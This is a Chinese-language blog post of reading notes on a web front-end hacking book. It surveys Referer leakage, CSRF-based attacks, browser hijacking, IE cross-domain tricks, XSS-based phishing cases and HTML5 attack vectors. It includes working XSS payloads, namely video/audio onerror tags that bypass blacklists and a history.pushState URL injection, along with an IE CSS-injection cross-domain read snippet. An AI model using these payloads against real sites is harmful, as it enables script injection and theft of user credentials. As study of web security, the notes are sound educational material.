美文网首页
《Web前端黑客技术解密》读书笔记(第七、八章)

《Web前端黑客技术解密》读书笔记(第七、八章)

作者: 艾特TT | 来源:发表于2016-11-22 00:11 被阅读156次

本文地址:http://www.jianshu.com/p/511e137f6cf4

第七章 漏洞利用

偷取隐私数据

Referer有时会泄露数据,比如当前url中存在隐私数据

避免的方法:

  • 一是url中不放隐私的数据
  • 二是添加中间跳转页,这样跳出去后referer不会有隐私数据
  • 给link标签上添加 ref=noreferrer 属性,HTML5支持,所以有兼容性
<a href='http://x.com' ref='noreferrer' >link</a>

浏览器记住的明文密码

参考这边文章:XSS Hack:获取浏览器记住的明文密码

基于CSRF的攻击技术

  • 基于CSRF的SQL注入
  • 基于CSRF的命令执行(后台命令)
  • 基于CSRF的XSS攻击

浏览器劫持技术

浏览器劫持技术是指通过劫持用户点击链接,在打开新窗口的时候注入攻击者的JS代码,达到将XSS威胁延续到同域内的其他页面

一些跨域操作技术

IE res:协议跨域 P232

CSS String Injection跨域,针对IE浏览器

test.html

<body>
  {}body{font-family:
    hello
  }
</body>

test2.html

<style>
  @import url('http://x.com/text.html');
</style>
<script>
  setTimeout(function (){
    var t = document.body.currentStyle.fontFamily;
    alert(t);
  }, 2000);
</script>

浏览器特权区域风险

比如浏览器插件等,可以与系统打交道,XSS进入到这个区域的过程,称为 Cross Zone ScriptingCross Context Scripting(简称XCS

其他跨域经典

  • 利用UNC跨域,这里看一篇文章:《走向本地的邪恶之路》,主要是利用iframe嵌入file:///本地文件

  • mhtml协议跨域,这里推荐看这篇:《IE下MHTML协议带来的跨域危害》

XSS Proxy 技术

基于浏览器的远程控制

  • 基于script跨域请求
  • ajax请求
  • 服务端WebSocket推送消息
  • postMessage 方式推送指令

真实案例剖析

百度空间登陆DIV层钓鱼

利用SRC中引号等特殊号没有过滤,注入脚本,模拟官网登陆窗口,发送表单时拦截

Gmail正常服务钓鱼

人人网跨子域盗取MSN号

依赖不同子域设置相同根域document.domain=renren.com,拦截所有link,通过js打开页面,并保留新页面的window引用,然后注入脚本,提交表单时获取用户名、密码

跨站获取更高权限

  • 案例:ECSHOP诱导管理员点击链接,添加超级管理员账号
  • 提权shell

大规模XSS攻击思想

借助搜索引擎,得到某一类CMS等网站列表,通过添加友链等方式等待管理员激活

第八章 HTML5 安全

新标签和新属性绕过黑名单策略

新元素突破黑名单

  • 标签
<video onerror=javascript:alert(1)></video>
<audio onerror=javascript:alert(1)></audio>
<video><source onerror=javascript:alert(1)></source></video>
<audio><source onerror=javascript:alert(1)></source></audio>
<video onloadedmetadata="javascript:alert(2)" ondurationchange="javascript:alert(3)" ontimeupdate="javascript:alert(4)" onerror="javascript:alert(1)"></video>
<video onerror=javascript:alert(1)></video>
  • 新属性,可利用的属性有formactiononformchangeonforminputautofocus

History API新方法

pushState()replaceState()

短地址+History新方法

  • 通过短地址可以做到
<!--前-->
http://a.com/id=<script>alert(1)</script>
<!--后-->
http://bit.ly/aRsd8F
  • 点击之后在浏览器中不过就会还原,于是在借助History API即可
http://a.com/id=<script>history.pushState(1);alert(1)</script>
<!--或者-->
http://a.com/id=<script>history.replaceState(1);alert(1)</script>

HTML5下的僵尸网络

Web Worker

new 之后会新建一个线程在主页面后台

<script>
  var worker = new Worker('test.js');
  worker.postMessage('hello');
  worker.onmessage = function(evt){
    console.log(evt.data);
  }
</script>

CORS向任意网站发送跨域请求

地理位置暴露信息

附原书购买地址: http://item.jd.com/11181832.html

相关文章

网友评论

      本文标题:《Web前端黑客技术解密》读书笔记(第七、八章)

      本文链接:https://www.haomeiwen.com/subject/skkppttx.html